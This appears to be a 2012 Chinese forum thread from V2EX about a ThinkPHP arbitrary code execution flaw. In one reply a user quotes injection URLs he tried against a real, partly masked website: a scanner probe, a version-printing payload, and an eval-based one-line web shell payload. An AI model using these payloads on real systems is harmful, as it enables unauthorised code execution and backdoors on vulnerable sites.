ThinkPHP framework 任意代码执行漏洞预警

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

› RANDOM.org 密码生成器

› uBlock

› Authy

› LastPass

› FreebuF.com

› Beebeeto

› Dashlane 密码管理器

这是一个创建于 4617 天前的主题，其中的信息可能已经有所发展或是发生改变。

http://zone.wooyun.org/index.php?do=view&id=44

代码执行

framework

thinkphp

3 条回复 • 1970-01-01 08:00:00 +08:00

mywaiting

2012-04-09 17:21:13 +08:00

乌云多了个水区后，我显然多了个可以去的好地方

ihacku

2012-04-09 18:20:17 +08:00

本来我是刚买完票随手用AWS测试个站报PHP code injection
http://taot**.net/events/content/id/${@print(md5(acunetix_wvs_security_test))}
后来才看到乌云上的帖子的
http://taot**.net/events/content/id/${@print(THINK_VERSION)}
版本2.1 漏洞影响到的版本包括2.1、2.2和3.0
不知道具体怎么利用试着在后面加了一句话
http://taot**.net/events/content/id/${@eval($_POST[cmd])}
都是一闪就过去了

ihacku

2012-04-09 18:22:26 +08:00

唔代码被转掉了